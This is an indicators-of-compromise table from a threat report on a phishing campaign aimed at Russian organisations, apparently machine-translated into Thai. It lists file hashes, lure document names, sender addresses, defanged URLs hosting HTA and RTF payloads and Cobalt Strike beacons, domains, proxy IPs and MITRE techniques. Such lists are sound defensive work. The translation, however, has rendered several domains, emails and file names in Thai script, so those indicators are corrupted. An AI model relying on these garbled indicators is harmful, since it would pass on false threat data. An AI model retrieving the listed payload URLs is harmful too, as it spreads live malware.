| 7096141a5b480e793e9a890b84ebaee2 | рекламация.zip |
| 833aa0a39625a4014c3c019ecf06a577 | рекламация.rar |
| 8ddcc3d272dd6b926d5c439a59198b51 | договор.rar |
| 58f1700e70ea49c0c520429fae09391b | (แรร์) |
| อีเมล | |
| c088e4f9875bf4df552e418a54c4ce07 | คริสติน่า ยาสโนวา@art.cse[.]ru |
| 7261fc5b42cc63ae34f520fc8f3ef5a4 | kornilova@impex-him[.]ru |
| c088e4f9875bf4df552e418a54c4ce07 | คริสติน่า ยาสโนวา@art.cse[.]ru |
| 8f60ad980885ff0000f6a9d29ce95376 | asrogov@kzst45[.]ru |
| 5facd6d79a20249fd58c29f9dc98dfe2 | asrogov@kzst45[.]ru |
| bbd10ee2ff2488faa297593e79df4512 | karina@toolhaus[.]ru |
| 456289209b90d09e54a1a439e3fe5248 | karina@toolhaus[.]ru |
| 7340c916254e31e0dbb7fcec7a89cfb0 | yakovleva@effectovent[.]ru |
| 8ba9f38456557e58bf4613b363298d55 | yakovleva@effectovent[.]ru |
| 08fc33687a6158dd15aa72e631905e10 | yakovleva@effectovent[.]ru |
| 48d588add63a0373ec896da4ee59b79e | บูห์@toolhaus[.]ru |
| LNK | |
| 16ae36df5bee92d8c4cae8e17583a2c9 | рекламация.pdf.lnk |
| eb0516a78fa169ab0867cb9b98136357 | рекламация.pdf.lnk |
| 16e9c51f60b629257140cb6ffc7a36ec | рекламация.pdf.lnk |
| f16417878356a08f840dac7f03461b5d | акт сверки.xls.lnk |
| 5e51ff594c46170ef278d1c18cded7d0 | Договор.pdf.lnk / досудебное.pdf.lnk |
| เอกสาร | |
| ff96714b6e31e362e7acce7338f30cf0 | рекламация.docx |
| f3a4176a981e50d76b8e4716400e86f2 | рекламация.docx |
| 0e1aa36d57416bac883e11f5860348cc | рекламация.doc |
| adf61ffa03806b954450c8954fb976c7 | рекламация.doc |
| 94b800809107fb2ef6ec640ff1e0fb51 | рекламация.doc |
| 6d4691e3262d4271f76b14a9ea511ca5 | претензия.docx |
| dfb56174c5ec2d0d8d82eb4b5ebf4f38 | เทรโบวาเนีย_19.03.docx |
| 8d0821b0bb290beb156ad836237cff05 | досудебное.doc |
| f9026fabfb8d131863ad06fd72eb2717 | исковое_19.03.docx |
| 5461a16272491f8e8b460c687d3436a6 | претензия.doc |
| 5667aa62833dd6ebd15da40130ab963d | рекламация_исх_05.04.24.doc.doc |
| 55bcc275baaae11ab634c03a9de36557 | ซิโร.doc |
| dcad3be881d072240b4c5c601e562ed2 | fox.docx / aqua.docx |
| a02f62d86f127b2547beac11420165fa | reklamatsiia.doc |
| 5efb844fefdbd92ccab34a5ec135ecac | tmppzd1p0zv.docx |
| 30517af2afba9baf55941c250cfd8a0f | คนจรจัด.rtf |
| cdfb407a0b894f5b4a6108273b81d864 | โลจิสตา.rtf |
| 98f21aabbf9a76d762813d6c0ec8c876 | rtf แรก |
| 600aeffa4395c00be2958fd8dd5135a8 | โกโก้.rtf |
| 2e8a01026b5c298a9b1d2519241f0b16 | openai.rtf |
| 582f7f2c93b6e14fb6c14a9b3ad09a83 | bg.rtf |
| ef854d4cb12974fc702d10b403b3ef0b | การดูแล.rtf |
| c1f40aeaf0606255920a3b82e80b64cc | (RTF) |
| ac558fd07ffa0d6831d523b8af8ac80b | (RTF) |
| c1f40aeaf0606255920a3b82e80b64cc | (RTF) |
| 6b8d22221e7c0dbcde24bc687a7dd6cd | (RTF) |
| a5bc486ca38160ae9f54650d790d9684 | (RTF) |
| ba8a950edf8c1414a978d9a4111343e2 | (DOCX) |
| HTA | |
| 020829a48c813d34aa68bcda4695144e | การกำหนดขนาดยา.hta |
| 74f23f2e1e9d209d0961bbf6ff74dafe | ยา.ฮตา |
| 2516898e2cb2cb1dca166bc69b7379c2 | คอมเพล็กซ์.hta |
| adef76d41463df53283588622c5e48e3 | นาที.ฮตา |
| dcdc1bad9fb1c049b7f28afa7dc8712a | ซ.ฮตตา |
| a20f54df1e75c661d6670447d74ce6f7 | (เอชทีเอ) |
| 976649b232d3525dd239f7139a65dd92 | โลจิสตา.เอชทีเอ |
| 9e5488696f4c5bf354e2e94775d9277c | กำไร.hta |
| 7059cd5ff17c2983ee6f33053d501ab3 | ประเทศจีน.hta |
| 835f3661ef77bc4c083f6da9b11c6e5e | nciki.hta |
| 594d802ceebb1042101ffafa3e98caa6 | มิดา.ฮตา |
| 8bddf8880ab3c631abd3ca452924d556 | เกย์.hta |
| โคบอลต์ สไตรค์ สเตจเจอร์/บีคอน | |
| f87227dad7bedf66bf1a1b97aa36bf62 | |
| 2c18c78ec584c5d2d045c9ab94774ad7 | |
| 395da66bee080c943e820b4e61e50de6 | |
| 315bcab1a9cbfe0b5b24676c2016a9cc | |
| 4ac75939c482d5c30637d56a379835f1 | |
| feae3d231a354882bb0f70889cc69a74 | |
URL ที่
| ทริกเกอร์ |
| hxxps://ezstat.ru/flowersforlove.gif |
| hxxps://yip.su/txttxt.jpg |
| hxxps://ezstat.ru/txttx.txt |
| hxxps://iplis.ru/lovers.jpeg |
| hxxps://iplis.ru/tramp.jpg |
| hxxps://iplis.ru/laydowngrenade.jpeg |
| hxxps://iplogger.cn/forensicsas.png |
| hxxps://iplis.ru/penises.jpg |
| hxxps://ezstat.ru/kissmyass.gif |
| hxxps://iplis.ru/camorra.gif |
| hxxps://yip.su/ncikigovru.gif |
| hxxps://valisi.ru/dosing.hta |
| hxxp://canature.su/ya.hta |
| hxxp://aquacomplect.ru/complex.hta |
| hxxps://bsprofi.ru/min.hta |
| hxxp://zetag.ru/z.hta |
| hxxp://vlasta-s.ru/logista.hta |
| hxxp://ecols.ru/ecols.hta |
| hxxp://zetag.ru/z.hta |
| hxxps://bsprofi.ru/profit.hta |
| hxxp://dosingpumps.ru/nciki.hta |
| hxxps://yip.su/certgovrufuck.gif |
| hxxp://zetag.ru/siro.doc |
| hxxp://zetag.ru/tramp.rtf |
| hxxp://aquacomplect.ru/aqua.docx |
| hxxp://clack.su/fox.docx |
| hxxp://vlasta-s.ru/logista.rtf |
| hxxp://valisi.ru/first.rtf |
| hxxp://ecols.ru/gogo.rtf |
| hxxp://bti25.ru/openai.rtf |
| hxxp://bti25.ru/china.hta |
| hxxp://gemme-cotti.ru/mida.hta |
| hxxp://xn--e1ajbcejcefx.xn--p1ai/sflopytrgjklhfaseri |
| hxxp://emec.su/bg.rtf |
| hxxp://gemme-cotti.ru/cotti.docx |
| hxxp://gemme-cotti.ru/zibaba.hta |
| hxxps://ipgrabber.ru/penis.gif |
| hxxps://iplogger.ru/sugar.png |
| hxxp://ship-care.com/care.rtf |
| hxxp://krona77.ru/edr.hta |
| hxxps://update.ecols.ru:8443/jquery-3.3.1.slim.min.js |
| hxxps://incident.zilab.ru:8443/jquery-3.3.1.slim.min.js |
| hxxps://mcnn.ru:8443/jquery-3.3.1.slim.min.js |
| hxxp://poopy.aarkhipov.ru:8080/jquery-3.3.1.slim.min.js |
| hxxps://ekostroy33.ru/jquery-3.3.2.min.js |
| hxxp://order.edrennikov.ru/jquery-3.3.1.min.js |
| hxxps://cba.abc92.ru:8443/jquery-3.3.1.slim.min.js |
| hxxps://moscable77.ru:8443/jquery-3.3.1.slim.min.js |
| http://forensics.jwork.ru/jquery-3.3.1.slim.min.js |
โดเมน
| อัปเดต.ecols[.]ru
incident.zilab[.]ru mcnn[.]ru order.edrennikov[.]ru cba.abc92[.]ru นิติวิทยาศาสตร์.jwork[.]ru โฮสต์บายเน็ต[.]ru moscable77[.]ru gk-stst[.]ru aquacomplext[.]ru ezstat[.]ru ekostroy33[.]ru valisi[.]ru bsprofi[.]ru iplis[.]ru zetag[.]ru lieri[.]ru ปั๊มตวงยา[.]ru esetnod64[.]ru yadro[.]ru iplogger[.]ru โครนา77[.]ru bti25[.]ru |
พร็อกซี IP
| 45.147.14.106:62900 | AS 49505 (JSC Selectel) RU |
| 45.145.91.164:64830 | AS 49505 (JSC Selectel) RU |
MITRE TTPs
| ชั้นเชิง | รหัสเทคนิค | เทคนิค |
| การเข้าถึงเบื้องต้น | T1566.001 | การแนบไฟล์แบบสเปียร์ฟิชชิ่ง |
| การกระทำ | T1204.002 | การดำเนินการของผู้ใช้: ไฟล์ที่เป็นอันตราย |
| การกระทำ | T1221 | การฉีดเทมเพลต |
| การกระทำ | T1059.003 | ตัวแปลคำสั่งและสคริปต์: PowerShell |
| การหลบหลีกการป้องกัน | T1027 | ไฟล์หรือข้อมูลที่ถูกบดบัง/เข้ารหัส |
| การหลบหลีกการป้องกัน | T1140 | ถอดรหัสซอร์สโค้ดที่สร้างความสับสน/ถอดรหัสไฟล์หรือข้อมูล |
| การหลบหลีกการป้องกัน | T1055 | กระบวนการฉีด |
| การค้นพบ | T1082 | การค้นพบข้อมูลระบบ |
| การค้นพบ | T1016 | การค้นพบการกำหนดค่าเครือข่ายระบบ |
| ควบคุมและสั่งการ | T1105 | การถ่ายโอนเครื่องมือขาเข้า |
| ควบคุมและสั่งการ | T1071.001 | Application Layer Protocol: โปรโตคอลเว็บ |
| ควบคุมและสั่งการ | T1090 | การใช้งานพร็อกซี / ตัวเปลี่ยนเส้นทาง |
Authors
- รายาปตี ลักษมี ปราสันนา ไซ
- สัตวิก ราม ปรากกี


